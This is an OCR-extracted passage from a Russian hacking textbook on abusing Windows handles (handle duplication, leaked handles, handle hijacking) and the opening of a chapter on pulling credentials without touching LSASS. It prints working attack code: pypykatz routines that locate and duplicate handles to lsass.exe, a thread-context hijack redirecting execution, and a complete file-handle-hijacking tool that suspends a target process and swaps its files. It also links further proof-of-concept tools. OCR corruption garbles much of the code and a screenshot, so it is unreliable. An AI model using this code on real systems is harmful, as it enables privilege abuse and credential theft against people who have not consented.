Глава 10. Как злоупотреблять хендлами в Windows 187 int main() ( //НANDLE hProcess = GetCurrentProcess(); НANDLE hProcess = GetCurrentThread(); ULONG returnLength = О; PUBLIC- OBJECT- BASIC - INFORМATION obi; NTSTATUS status = NtQueryObject( hProcess, ObjectBasicinformation, &оЬi, sizeof (оЬi), &returnLength) ; if (NT_SUCCESS(status)) std: :cout « "Granted Access: " « std: :hex « ParseAccessMask(hProcess, oЬi.GrantedAccess); oЬi.GrantedAccess « std: :endl; else ( std: :cerr « "NtQueryObject failed with status: " « std: :hex « status « std: :endl; CloseHandle(hProcess); return О; Отлично! Код, правда, не блещет красотой со всеми этими if. Сеньоры так не пишут! Поэтому предлагаю создать std: :map. std: :map<ACCESS_МASK, std: :wstring> CreateAccessRightsMap(const std: :wstring& handleType) { if (handleType == L"Process") ( return { {PROCESS_ALL_ACCESS, L"PROCESS_ALL_ACCESS"), (PROCESS_CREATE_PROCESS, L"PROCESS_CREAТE_PROCESS"), (PROCESS_CREAТE_THREAD, L"PROCESS_CREATE_THREAD"), (PROCESS_DUP_НANDLE, L"PROCESS_DUP_НANDLE"), (PROCESS_QUERY_INFORМAТION, L"PROCESS_QUERY_INFORМATION"), (PROCESS_QlJERY_LIMITED_INFORМATION, (PROCESS_SET_INFORМATION, L"PROCESS_QlJERY_LIMITED_INFORМATION"), L"PROCESS_SET_INFORМATION"), (PROCESS_SET_QUOTA, L"PROCESS_SET_QUOTA"), {PROCESS_SUSPEND_RESlJME, L"PROCESS_SUSPEND_RESUМE"), (PROCESS_TERМINATE, L"PROCESS_TERМINATE"), (PROCESS_VМ_OPERATION, (PROCESS_VМ_READ, (PROCESS_VМ_WRITE, L"PROCESS_VМ_OPERATION"), L"PROCESS_VМ_READ"), L"PROCESS_VМ_WRITE"), {SYNCHRONIZE, L"SYNCHRONIZE") );
Часть 188 11. Системное программирование для хакеров else if (handleType == L"Thread") { return { {TНREAD_ALL_ACCESS, L"TНREAD_ALL_ACCESS"), {TНREAD_DIRECT_IMPERSONATION, L"TНREAD_DIRECT_IMPERSONAТION"), {TНREAD_GET_CONTEXT, L"TНREAD_GET_CONTEXT"), (TНREAD_IMPERSONATE, L"THREAD_IMPERSONATE"), {TНREAD_QUERY_INFORМAТION, L"TНREAD_QUERY_INFORМATION"), {TНREAD_QUERY_LIMITED_INFORМATION, (TНREAD_SET_CONTEXT, (TНREAD_SET_INFORМATION, L"THREAD_SET_INFORМATION"), (TНREAD_SET_LIMITED_INFORМATION, {TНREAD_SET_THREAD_TOКEN, (TНREAD_SUSPEND_RESUМE, (TНREAD_TERМINATE, L"TНREAD_QUERY_LIMIТED_INFORМATION"), L"THREAD_SET_CONTEXT"), L"TНREAD_SET_LIMITED_INFORМAТION"), L"TНREAD_SET_THREAD_TOKEN"), L"THREAD_SUSPEND_RESUМE"), L"TНREAD_TERМINATE") ); return (); void ParseAccessMask(НANDLE handle, ACCESS_МASK accessMask) ( std::wstring handleType = GetHandleType(handle); std: :wcout « L"Handle Туре: " « handleType « std: :endl; auto accessRightsMap = CreateAccessRightsMap(handleType); for (const auto& [mask, name] : accessRightsMap) if ( (accessMask & mask) == mask) std: :wcout << name << L" "; std: :wcout << std::endl; Теперь мы умеем по хендлу получать информацию о самом дескрипторе и извле­ кать его маску. Остается лишь самое малое- получить эти хендлы. Нам не составит труда это сделать с помощью функции NtQuerySysteminformation () (https:/Лearn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquery systeminformation) и передачи структуры SYSTEМ _НANDLE _ INFORМATION. PSYSTEМ НANDLE INFORМATION - - hinfo; VOID GetHandles() ( ULONG returnLenght = О; unsigned long long aSize = Ох69; hinfo = (PSYSTEМ_НANDLE_INFORМATION)malloc(aSize);
Глава 10. Как злоупотреблять хендлами в 189 Windows fNtQuerySysteminfonnation NtQuerySysteminfonnation = (fNtQuerySysteminformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySysteminfonnation"); while (NtQuerySysteminfonnation(OxlO, hlnfo, aSize, &returnLenght) == STATUS_INFO_LENGTH_MISМATCH) aSize hlnfo returnLenght + 1024; (PSYSTEМ_НANDLE_ INFORМATION)malloc(aSize); Теперь получить доступ к хендлу возможно через hinfo->Handles [iJ .Object. В функ­ цию DuplicateHandle hinfo->Handles[i] .HandleValue, т. к . в Object значение хендла. хендл, а в HandleValue - следует передавать держится адрес, по которому лежит Убедиться в том, что все так и есть, можно с помощью указано значение Object, а под цифрой Свойства:sУСhоstехе • со­ Под цифрой Process Hacker. 10.5). 1 нandleValue (рис. 2- о ( 1132) х , Gen,nil Sliltistics Petfoononce Threods TOQ!fl Мodules Oislt мк1 Networt Convnent Мemory Enwooment Нondles 5ема!5 Gl'U Б2] Hide unnomed hondles - \~~Эе1'$ Туре ....... llx1o4 \Wondows\WindowStotions\SeNiOНЬdl 3е7$ Ох1Ьс Token SERVICE: ОХЗеS (lmp ... WINPC\l"ldwlel: ОхЬ9640 (Jmpersonotion} Token WINPC\l"ldwlel: - OXl4SO OxllOO OxlOSO WindowStooon Token NТ AUТНORIГf\LOCAL Token (Im~} NТ AUТНORIТ'I\GICТEМA: Ох3е7 (Jmper,;on. .. NТ AUТНORIТ'I\GICТEМA: ОХ3е7 (ImpefSDn... Token WINPC\Мichoel : ОхЬ9640 (Jm~} Token Token WINPC\Мichael : ОхЬ9640 (Im~} Token Token Token Token Token Token WINPC\Мк:hoel : ОхЬ9640 (Jm~} WINPC\Мichoel : ОхЬ964О ( J m ~ } WINPC\Мichoel: ОхЬ9640 (Jmper,onotion} WINPC\Мichoel: ОхЬ9640 (lmper,onotion} NТ AUТНORIТ'I\GICТEМA: ОХ3е7 (i"npefson. .. WINPC\Мichael : ОхЬ964О (lmper,onotion} Token Token Tol<en WINК\МidlOel : - Tol<en NТ АUТНОRIТ'l\01СТЕМА: ОХ3е7 Threod Threod - .... (1132}: 4584 - .... (1132): 11404 WINPC\Мichael: ОхЬ9640 (Pnmoly} (Pri"""Y} Ох103" - Ох1020 О>сfВс O>cfSO O>cf48 ОХе9с х General Беэоnесностh Bastc infonnalion ® Name: \Windows\WindowStalions\Sennce-Oa0-3e7S Туре: WindowStalion OЬject add<ess: Odll850IIЬ43cb Grantedacce.!s: Od)37f(Futlcont А __. Ouota charges ReJerences СЬсе6О References: 2653m Paged: О OxeS8 OJcd9c Handles: 95 Non-paged: 2411 1Ьсd54 NТ АUТНОRIТ'l\01СТЕМА: Ох3е7 (llnpe,зon. .. (Prim<lry} ОJсба: ОХ152с ОХ14е8 ок Рис. 10.5. Просмотр HandleValue и 11 ° ' - Object После успешного копирования хендла можно делать с ним что угодно (конечно, если это разрешает маска доступа)! Например, вот пара идей, которые могут по­ мочь нам побаловаться: □ Handle Ripper (https://github.com/ZeroMemoryEx/Нandle-Ripper/ЫoЬ/master/ Handle-Ripper/Source.cpp);
Часть 190 □ 11. Системное программирование для хакеров MalSecLogon (https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html). В частности, если наш хендл указывает на поток и маска доступа - TНREAD_SET_CONTEXT, то это позволяет вызывать функцию setThreadContext() (https:// learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapisetthreadcontext). С ее помощью мы можем применить к потоку специальную структуру CONTEXT. typedef struct _WOW64_CONTEXT { DWORD ContextFlags; DWORD Dr0; Drl; DWORD Dr2; DWORD DrЗ; DWORD Drб; DWORD Dr7; DWORD WOW64_FLOATING_SAVE_AREA FloatSave; DWORD SegGs; SegFs; DWORD DWORD SegEs; DWORD SegDs; DWORD Edi; Esi; DWORD ЕЬх; DWORD Edx; DWORD Есх; DWORD Еах; DWORD ЕЬр; DWORD Eip; DWORD SegCs; DWORD DWORD EFlags; Esp; DWORD DWORD SegSs; ВУТЕ ExtendedRegisters[WOW64_МAXIMUМ_SUPPORTED_EXTENSION]; } WOW64_CONTEXT; Как видите, эта структура представляет собой набор значений регистров процесса, которые можно указать и которые будут применены. В частности, можно перена­ править поток управления целевой программы, изменив регистр Eip или Rip в слу­ чае х64. CONTEXT context; context.Rip = (DWORD_PTR)remoteBuffer; SetThreadContext(threadНijacked, &context); Кстати, именно этот способ использует lsass.exe. Ниже - pypykatz при попытке сдампить процесс соответствующий участок кода pypykatz (https://github.com/ skelsec/pypykatz/ЫoЬ/6c02115704596659c98775el 70e93d0f8670t1)4Ь/pypykatz/com mons/winapi/local/function_ defs/live_ reader_ ctypes. py#L79).
Глава 1О. Как злоупотреблять хендлами в 191 Windows def enum_lsass_handles(): #searches for open LSASS process handles in all processes # уои should Ье having SE_DEBUG enaЬled at this point RtlAdjustPrivilege(20) lsass_handles = [] sysinfohandles = NtQuerySysteminfoпnation(lб) for pid in sysinfohandles: if pid == 4: continue #if pid != GetCurrentProcessid(): # continue for syshandle in sysinfohandles[pid]: #print(pid) try: pHandle = OpenProcess(PROCESS_DUP_НANDLE, False, pid) except Exception as е: logger.debug('Error opening process %s Reason: %s' % (pid, continue е)) try: dupHandle = NtDuplicateObject(pHandle, syshandle.Handle, GetCurrentProcess(), PROCESS_QUERY_INFORМATIONIPROCESS_VМ_READ) #print(dupHandle) except Exception as е: logger.debug('Failed to duplicate object! PID: %s НANDLE: %s' % (pid, hex(syshandle.Handle) )) continue oinfo = NtQueryObject(dupHandle, ObjectTypelnfoпnation) if oinfo.Name.getString() = 'Process': try: pname = QueryFullProcessimageNameW(dupHandle) if pname.lower() .find('lsass.exe') != -1: logger.info('Found open handle to lsass! PID: %s НANDLE: %s' % (pid, hex(syshandle.Handle) )) #print ( '%s : %s' % (pid, pname) ) lsass_handles.append((pid, dupHandle)) except Exception as е: logger.debug('Failed to obtain the path of the process! PID: %s' %pid) continue return lsass handles Целевой процесс lsass. ехе здесь mцется при помощи функции QueryFullProcessimageNamew () (bttps://learn.microsoft.com/ru-ru/windows/win32/api/winbase/nf-winbase-queryfull processimagenamew). Ей (в реализации pypykatz) требуется передать только скопи­ рованный хенД11.
Часть 192 11. Системное программирование для хакеров Leaked Handle Эта атака несколько отличается от Handle Duplicating, хотя во многом похожа. Она основана на том, что привилегированный процесс запускает с открытыми и насле­ дуемыми дескрипторами другой процесс, непривилегированный, предоставляя ему доступ к своим дескрипторам. Итак, пусть процесс запущен от лица NT AUTHORITY\SYSTEM. У этого процесса есть свои дескрипторы каких-то объектов. Затем этот системный процесс дергает CreateProcess (), указывая ЫпheritHandles равным TRUE. Это приводит к тому, что про­ цесс, который запускается через CreateProcess (), во-первых, становится дочерним по отношению к системному (родительскому) процессу, во-вторых, наследует все хендлы родительского процесса. Например, если родительский процесс получил дескриптор на какой-нибудь другой процесс, а затем создал дочерний с наследова­ нием дескрипторов, то дочерний процесс получит доступ к этому дескриптору. В результате у дочернего процесса с низкими привилегиями появляется возмож­ ность использовать хендлы родительского процесса. Как ни странно, но здесь используются плюс-минус те же вызовы API. С помощью (https://learn.microsoft.com/en-us/windows/win32/api/ winternl/nf-winternl-ntquerysysteminformation) перечисляем хендлы, обнаружива­ NtQuerySysterninforrnation () ем те, которые принадлежат нашему родительскому процессу, после чего копируем их и эксплуатируем! На эту атак) чуть больше РоС'ов, но вообще алгоритм такой же, как и у Duplicating, поэтому можно считать Leaked Handle более дартного Handle Duplicating. Вот несколько вариантов РоС: 111 А,дмwниС'11)атор: Windows Ро Х Т Handle частным случаем стан­ о V х PS С : \Users\l'tichaet \Downtoads> . \ ExploitLeakedHandle . ехе 1--==== 1 (_) 1 1 11 111 1 1__ -- -- _ 1 1 -- -1 1_1 1 -- _1 1 __ 1 1 1__ 1 1 -- __ -- __ 1 1 1 __ _ 1 --1 \ \/ / ' - \ 1 1/ - \ 1 1 __ 1 1 / - \ / - ' 1 1/ / - \/ _' 1 1/ _' 1 ' _ \ / _' 1 1/ _ \ 1 1___ > < 1 1_) 1 1 (_) 1 1 1_1 1___ 1 __/ С 1 1 < __/ С 1 1 1 1 1 С 1 1 1 1 1 С 1 1 1 __/ 1_____ _/ _/\_ \ . __/ 1_1, __ _/ 1_1, __ 1______ , __ 1, _ , _1_1,_ , ___ 1, __ , _1_1 1_1, __ , _1_1 1_1, __ , _1_1, ___ 1 11 https : / / github. coш / 0 x0 0Chock 1-1 [ +] Checking 76б2Ц handtes .for potentiat abuse .. [ +] ldentified 21 interesting handles: 00 - firofox . охо(1186Ц} Parent Process <UNKNOWN>(8800) Handte Vatue 0х59Ц Handlo Туре FILE [0х25] Object Name \Device\Afd Access Mask 0xl6019F - FILE_WRПE_DATA 01 - firefox.exe(ll86Ч) Parent Process <UNИNDWN>(8800) Handle Value Handte Туре Object Name Access 11ask FILE [0х25] \ Device\ Afd 0х5А8 0xlб019F Рис. 10.6. Пример работы 1
Глава □ □ 10. Как злоупотреблять хендлами в 193 Windows ReHacks (https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Нandles); ExploitLeakedHandle (https://github.com/0x00Check/ExploitLeakedHandle) моя любимая реализация; □ LeakedHandlesFinder (https://github.com/lab52io/LeakedНandlesFinder). Второй и третий наиболее интересны из-за возможности автоматической эксплуа­ тации множества различных хендлов (рис. 10.6). Handle Hijacking Эта атака позволяет подменить один хендл другим и, например, перенаправить по­ ток вывода в другой файл. Фактически мы можем манипулировать дескрипторами чужих процессов. Атака основана на том, что Windows повторно использует индексы дескрипторов. Когда дескриптор закрывается, следующий дескриптор, созданный в этом процес­ се, будет повторно использовать индекс предыдущего дескриптора. Например, за­ крыли дескриптор с индексом тоже будет равен 1О, а затем сразу же создали новый. Индекс нового I О. Если рассматривать не пассивную эксплуатацию с перенаправлением вывода, то можно перенаправить поток ввода. Например, подменить один файл настроек другим. Общий алгоритм работы следующий: 1. Получаем новый хендл, создав новый файл через CreateFile (). Этим файлом и будем подменять. 2. Приостанавливаем целевой процесс через NtSuspendProcess (). 3. Пробегаемся по всем хендлам в целевом процессе с помощью NtQuerySysteminfoпnation(). 4. Игнорируем все хендлы, которые не являются хендлами на файлы (поскольку мы подменяем файлы). Для проверки сравниваем значения ObjectTypeindex. Пом­ ните, как мы делали в 5. Находим Handle Duplicating? Здесь то же дескриптор целевого файла в самое. удаленном процессе, используя NtQueryinformationFile () со значением FileNameinformation (), чтобы получить путь к файлу. 6. Полученный хендл копируем и закрываем, используя DuplicateHandle () с флагом DUPLICATE CLOSE SOURCE. 7. Копируем хендл обратно в атакуемый процесс с помощью DuplicateHandle (), что позволяет занять пустой индекс. 8. Восстанавливаем работу программы с помощью NtResurneProcess () успешную подмену файла. - реализация, взятая с прекрасного сайта x86matthew (https://www .x86matthew.com/view_post?id=hijack_file_ handle). Ниже и получаем
Часть 194 11. Системное программирование для хакеров #include <stdio.h> #include <windows.h> #define SystemExtendedНandleinformation 64 #define STATUS- INFO- LENGTH- MISМATCH ОхС0000004 #define FileNameinformation 9 #define PROCESS - SUSPEND- RESUME Ох800 struct SYSTEM- НANDLE- ТАВLЕ - ENTRY- INFO- ЕХ ULONG Object; ULONG UniqueProcessid; ULONG HandleValue; ULONG GrantedAccess; USHORT CreatorBackTracelndex; USHORT ObjectTypeindex; ULONG HandleAttributes; ULONG Reserved; ); struct SYSTEM- НANDLE- INFORМATION - ЕХ ULONG NumЬerOfHandles; ULONG Reserved; SYSTEM_НANDLE_TABLE_ENTRY INFO_EX HandleList[l]; ); struct FILE NАМЕ INFORМATION ULONG FileNameLength; FileName[l]; WCНAR ); struct 10- STATUS - BLOCK union DWORD Status; PVOID Pointer; ); DWORD *Information; ); struct GetFileHandlePathThreadParamStruct НANDLE hFile;
Глава 10. Как злоупотреблять хендлами в Windows char szPath[512]; ); DWORD (WINAPI *NtQuerySysteminformation) (DWORD SysteminformationClass, PVOID Systeminformation, ULONG SysteminformationLength, PULONG ReturnLength); DWORD (WINAPI *NtQueryinformationFile) (НANDLE FileHandle, void *IoStatusBlock, PVOID Fileinformation, ULONG Length, DWORD FileinformationClass); DWORD (WINAPI *NtSuspendProcess) (НANDLE Process); DWORD (WINAPI *NtResumeProcess) (НANDLE Process); SYSTEM НANDLE_INFORМATION_EX *pGlobal_SystemНandleinfo = NULL; DWORD dwGlobal_DebugObjectType = О; DWORD GetSystemНandleList() { DWORD dwAllocSize = О; DWORD dwStatus = О; DWORD dwLength = О; ВУТЕ *pSystemНandleinfoBuffer = NULL; // free previous handle info list (if one exists) != NULL) if(pGlobal_SystemНandleinfo { free(pGlobal_SystemНandleinfo); // get system handle list dwAllocSize = О; for (;;) if(pSystemНandlelnfoBuffer != NULL) { // free previous inadequately sized buffer free(pSystemНandleinfoBuffer); pSystemНandleinfoBuffer = if(dwAllocSize != NULL; О) // allocate new buffer pSystemНandleinfoBuffer = if(pSystemНandleinfoBuffer { return 1; (BYTE*)malloc(dwAllocSize); == NULL) 195
Часть 196 11. Системное программирование для хакеров // get system handle list dwStatus = NtQuerySysteminfonnation(SystemExtendedНandleinfonnation, (void*)pSystemНandleinfoBuffer, dwAllocSize, &dwLength); if(dwStatus = О) // success break; else if(dwStatus = STATUS_INFO_LENGТH_МISМATCН) // not enough space - allocate dwAllocSize = а larger buffer and try again (also add an extra lkЬ to allow for additional handles created Ьetween checks) (dwLength + 1024); else / / other error free(pSystemНandleinfoBuffer); return 1; // store handle info ptr pGlobal_SystemНandleinfo return = (SYSTEМ_НANDLE_INFORМATION_EX*)pSystemНandleinfoBuffer; О; DWORD GetFileHandleObjectType(DWORD *pdwFileHandleObjectType) { hFile = NULL; char szPath[512]; DWORD dwFound = О; DWORD dwFileHandleObjectType НANDLE = О; // get the file path of the current ехе memset(szPath, О, sizeof(szPath)); if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) О) return 1; // open the current ехе hFile = CreateFile(szPath, GENERIC_READ, if(hFile == INVALID_НANDLE_VALUE) return 1; FILE_SНARE_READ, NULL, OPEN_EXISTING, О, NULL);
Глава 10. // take Как злоупотреблять хендлами в а 197 Windows snapshot of the system handle list if(GetSystemНandleList() 1 = О) { return 1; // close the temporary file handle CloseHandle(hFile); // find the temporary file handle in the previous snapshot О; i < pGlobal SystemНandleinfo->NurnЬerOfHandles; i++) for(DWORD i // check if the process ID is correct if(pGlobal_SystemНandleinfo->HandleList[i] .UniqueProcessid == GetCurrentProcessid()) // check if the handle index is correct if(pGlobal_SystemНandleinfo->HandleList[i] .HandleValue (DWORD)hFile) // store the file handle object type index dwFileHandleObjectType = pGlobal_SystemНandleinfo->HandleList[i] .ObjectTypeindex; dwFound = 1; break; // ensure the file handle object type was found if (dwFound == О) return 1; // store object type *pdwFileHandleObjectType return dwFileHandleObjectType; О; DWORD WINAPI GetFileHandlePathThread(LPVOID lpArg) bFileinfoBuffer[2048]; IO- STATUS- BLOCK IoStatuзBlock; GetFileHandlePathThreadPararnStruct *pGetFileHandlePathThreadPararn FILE NАМЕ INFORМATION *pFileNarneinfo = NULL; ВУТЕ = NULL; // get pararn pGetFilel-landlePathThreadPararn = (GetFileHandlePathThreadPararnStruct*)lpArg;
Часть 198 11. Системное программирование для хакеров // get file path from handle memset( (void*)&IoStatusBlock, О, sizeof(IoStatusBlock) ); memset(bFileinfoBuffer, О, sizeof(bFileinfoBuffer) ); if(NtQueryinformationFile(pGetFileHandlePathThreadParam->hFile, &IoStatusBlock, bFileinfoBuffer, sizeof(bFilelnfoBuffer), FileNameinformation) 1 = О) return 1; // get FILE_NAМE_INFORМATION ptr pFileNameinfo = (FILE_NAМE_INFORМATION*)bFileinfoBuffer; // validate filename length if(pFileNameinfo->FileNameLength >= sizeof(pGetFileHandlePathThreadParam->szPath) 1 return 1; // convert file path to ansi string wcstomЬs(pGetFileHandlePathThreadParam->szPath, pFileNameinfo->FileName, sizeof(pGetFileHandlePathThreadParam->szPath) - 1); return О; DWORD ReplaceFileHandle(НANDLE hTargetProcess, hReplaceLocalHandle) НANDLE hExistingRemoteHandle, НANDLE { НANDLE hClonedFileHandle = NULL; = NULL; НANDLE hRemoteReplacedНandle // close remote file handle if(DuplicateHandle(hTargetProcess, hExistingRemoteHandle, GetCurrentProcess(), &hClonedFileHandle, О, О, DUPLICATE_CLOSE_SOURCE DUPLICATE_SAМE_ACCESS) == О) return 1; // close cloned file handle CloseHandle(hClonedFileHandle); // duplicate local file handle into remote process if(DuplicateHandle(GetCurrentProcess(), hReplaceLocalHandle, hTargetProcess, &hRemoteReplpcedНandle, О, О, DUPLICATE SАМЕ ACCESS) return 1; О)
Глава 1О. Как злоупотреблять хендлами в Windows 199 // ensure that the new remote handle matches the original value != hExistingRemoteHandle) if(hRemoteReplacedНandle return 1; return О; DWORD HijackFileHandle(DWORD dwTargetPID, char *pTargetFileName, НANDLE hReplaceLocalHandle) ( hProcess = NULL; hClonedFileHandle = NULL; DWORD dwFileHandleObjectType = О; DWORD dwThreadExitCode = О; DWORD dwThreadID = О; НANDLE hThread = NULL; GetFileHandlePathThreadParamStruct GetFileHandlePathThreadParam; char *pLastSlash = NULL; DWORD dwHijackCount = О; НANDLE НANDLE // calculate the object type index for file handles on this system if(GetFileHandleObjectType(&dwFileHandleObjectType) != О) ( return 1; printf ("Opening process: %u ... \n", dwTargetPID); // open target process hProcess = OpenProcess(PROCESS_DUP if(hProcess == NULL) return 1; // suspend target process if(NtSuspendProcess(hProcess) != CloseHandle(hProcess); return 1; // get system handle list if(GetSystemНandleList() != О) О) НANDLE PROCESS_SUSPEND_RESUМE, О, dwTargetPID);
Часть 200 11. Системное программирование для хакеров NtResumeProcess(hProcess); CloseHandle(hProcess); return 1; for(DWORD i = О; i < pGlobal_SystemНandlelnfo->NumЬerOfHandles; // ensure this handle is а i++) file handle object .ObjectTypelndex != dwFileHandleObjectType) if(pGlobal_SystemНandlelnfo->HandleList[i] { continue; // ensure this handle is in the target process .UniqueProcessid != if(pGlobal_SystemНandleinfo->HandleList[i] dwТargetPID) continue; // clone file handle if(DuplicateHandle(hProcess, (НANDLE)pGlobal_SystemНandleinfo->HandleList[i] .HandleValue, GetCurrentProcess(), &hClonedFileHandle, О, О, DUPLICATE SАМЕ ACCESS) == О) continue; // get the file path of the current handle - do this in а new thread to prevent deadlocks memset({void*)&GetFileHandlePathThreadParam, О, sizeof(GetFileHandlePathThreadParam)); GetFileHandlePathThreadParam.hFile = hClonedFileHandle; hThread = CreateThread(NULL, О, GetFileHandlePathThread, (void*)&GetFileHandlePathThreadParam, О, &dwThreadID); if(hThread == NULL) CloseHandle(hClonedFileHandle); continue; // wait for thread to finish (1 second time out) if(WaitForSingleObject(hThread, 1000) != WAIT_OBJECT_0) // time out - kill thread TerminateThread(hThread, 1); CloseHandle(hThread); CloseHandle(hClonedFileHandle);
Глава 10. Как злоупотреблять хендлами в Windows 201 continue; // close cloned file handle CloseHandle(hClonedFileHandle); // check exit code of temporary thread GetExitCodeThread(hThread, &dwТhreadExitCode); if(dwТhreadExitCode 1= О) // failed CloseHandle(hThread); continue; // close thread handle CloseHandle(hThread); // get last slash in path pLastSlash = strrchr(GetFileHandlePathThreadParam.szPath, '\\'); if(pLastSlash == NULL) { continue; // check if this is the target filename pLastSlash++; if(stricmp(pLastSlash, pTargetFileName) != О) { continue; // found matching filename printf("Found rernote file handle: \"%s\" (Handle ID: Ox%X)\n", GetFileHandlePathThreadParam.szPath, pGlobal_SysternНandleinfo->HandleList[i] .HandleValue); dwHijackCount++; // replace the rernote file handle if(ReplaceFileHandle(hProcess, (НANDLE)pGlobal_SysternНandleinfo-> HandleList[i] .HandleValue, hReplaceLocalHandle) // handle replaced successfully printf("Rernote file handle hijacked successfully\n\n"); else // failed to hijack handle О)
Часть 202 /1. Системное программирование для хакеров printf("Failed to hijack remote file handle\n\n"); // resume process if (NtResumeProcess (hProcess) != О) CloseHandle(hProcess); return 1; // clean up CloseHandle(hProcess); // ensure at least one matching file handle was found if(dwHijackCount == О) ( printf("No matching file handles found\n"); return 1; return О; DWORD GetNtdllFunctions() ( // get NtQueryinformationFile ptr NtQueryinformationFile = (unsigned long (_stdcall *) (void *, void *, void *, unsigned long,unsigned long) )GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryinformationFile"); if(NtQueryinformationFile == NULL) ( return 1; // get NtQuerySysteminformation ptr NtQuerySysteminformation = (unsigned long stdcall *) (unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySysteminformation"); if(NtQuerySysteminformation == NULL) ( return 1; // get NtSuspendProcess ptr NtSuspendProcess = (unsigned long (_stdcall *) (void *) ) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtSuspendProcess");
Глава 1О. Как злоупотреблять хендлами в 203 Windows if(NtSuspendProcess == NULL) return 1; // get NtResшneProcess NtResшneProcess ptr = (unsigned long (_stdcall *) (void *)) GetProcAddress(GetModuleHandle("ntdll.dll"), if(NtResшneProcess "NtResшneProcess"); == NULL) return 1; return О; int main(int argc, char *argv[]) DWORD dwPID = О; char *pTargetFileName = NULL; char *pNewFilePath = NULL; НANDLE hFile = NULL; printf("HijackFileHandle - www.x86matthew.com\n\n"); if(argc != 4) { printf("%s <target_pid> <target_file_name> <new_file_path>\n\n", argv[0]); return 1; // get params dwPID = atoi(argv[l]); pTargetFileName = argv[2]; pNewFilePath = argv[З]; // get ntdll function ptrs if(GetNtdllFunctions() != О) { return 1; // create new output file hFile = CreateFile(pNewFilePath, GENERIC_READ I GENERIC_WRITE, FILE_SНARE_READ NULL, CREATE_ALWAYS, FILE_SНARE_WRITE, if(hFile == INVALID_НANDLE_VALUE) { printf("Failed to create file\n"); 1 О, NULL);
Часть 204 11. Системное программирование для хакеров return 1; // hijack file handle in target process if(HijackFileHandle(dwPID, pTargetFileName, hFile) != О) printf("Error\n"); // error - delete output file CloseHandle(hFile); DeleteFile(pNewFilePath); return 1; // close local file handle CloseHandle(hFile); printf("Finished\n"); return О; В данном случае инструмент требует несколько аргументов командной строки. HijackFileHandle.exe <target_pid> <target_file_name> <new_file_path> Здесь указывается PID атакуемого процесса и имена файлов. Первым идет файл, который нужно подменить, а вторым - на что подменять. Заключение Бывает круто взглянуть на привычные вещи под другим углом! Иногда получение хендлов необычным MalSecLogon образом помогает обходить средства защиты. Тот же (https://github.com/antonioCoco/МalSeclogon) на момент выхода от­ лично дампил процесс lsass.exe.
ГЛАВА 11 Достаем учетные данные Windows, не трогая LSASS Windows позволяет разраб<УrЧИкам создавать шифрованные каналы связи, подпи­ сывать сообщения между клиекrом и службой, ауrентифицировать клиекrа на службе. Злоупотребляя этими возможностями, мы можем извлекать уче'ПIЬlе дан­ ные пользователя без взаимодействия с LSASS. В этой главе я продемонстрирую, как это работает. Security Support Provider Interface (SSPI) - это механизм, предоставляющий огром­ ный набор функций для разработчиков. Среди его преимуществ: □ независимость от транспорта (данные передавать можно mобым образом); □ общий для всех SSP ипrерфейс; □ ауrекrификация (в том числе с заимствованием прав); □ конфиденциальность сообщений (шифрование); □ сохранность сообщений (цифровая подпись). это набор DLL-файлов, который позволяет ис­ если вы не читали главу 7, пользовать протоколы безопасности (NТLMSSP, KerЬeros и иные) в клиекr-сер­ верных процессах. Если сильно обобщить, то SSPI - это API для вызова загружен­ SSP, ных в систему SSP (рис. 11.1 ). SSPI Рис. 11.1. SSPI
Часть 206 11. Системное программирование для хакеров Реквизиты, контекст и блобы SSPI создает так называемые security ЫоЬs. По-русски - «элементы безопасности» или «компоненты безопасности», но официального перевода мне не попадалось, так что остановимся на «блобах». Этими самыми блобами клиент и сервер обмени­ ваются по удобному для них протоколу. Чтобы подготовить начальные блобы, клиент получает хендл, указывающий на его реквизиты. Под реквизитами понимается хендл на учетные данные клиента, с по­ мощью которых он может, например, пройти аутентификацию на службе. Полу­ чить реквизиты можно с помощью AcquirecredentialsHandle (} (https:/Лearn. microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--general). Путем обмена блобами выстраивается контекст. Контекст который хранится и на клиенте, и на сервере. Контекст специальный объект, - аутентификации клиента на сервере и в некоторых случаях результат успешной - сервера на клиенте. С помощью выстроенного контекста можно использовать весь потенциал SSPI. На­ пример, можно построить контекст, получить хендл, а затем шифровать передавае­ мые между клиентом и сервером сообщения. Причем сервер сможет расшифровать сообщения, т. к. у него есть контекст, сгенерированный вместе с клиентом, на ко­ тором данные шифруются. Итак, для построения контекста используются специальные функции (https://learn.microsoft.com/en-us/windows/win32/api/sspi/nfsspi-acceptsecuritycontext) и Ini tial'izesecuri tycontext (} (https://learn.microsoft.com/ en-us/windows/win32/api/sspi/nf-sspi-initializesecuritycontexta). Контекст выстраи­ AcceptSecuri tycontext (} вается не сразу. Если требуется еще пару раз обменяться блобами с сервером или клиентом, то возвращается ошибка SEC_ r_CONTINUE_ NEEDED. Думаю, звучит страшно. Давайте визуализируем. Построение контекста на стороне клиента показано на рис. Клиент сначала 11.2. получает хендл на свои реквизиты с помощью функции AcquireCredentialsHandle (}, затем начинает выстраивать контекст, используя блобы. Как только функция Ini tiali zeSecuri t yContext (} перестала возвращать SEC_ I _CONTINUE_ NEEDED, можно считать, что контекст выстроен, и пользоваться всеми функциями SSPI. На стороне сервера происходит почти то же самое, только Ini tializeSecuri tyContext ( 1 используется функция AcceptSecuri tyContext ( 1 (рис. вместо 11.3 ). Сервер тоже получает хендл на свои реквизиты и точно так же взаимодействует с блобами. После построения контекста в некоторых случаях дополнительно вызы­ вается функция ImpersonateSecurityContext ( 1 (https://learn.microsoft.com/en-us/ windows/win32/api/sspi/nf-sspi-impersonatesecuritycontext), которая позволяет за­ имствовать права клиента.
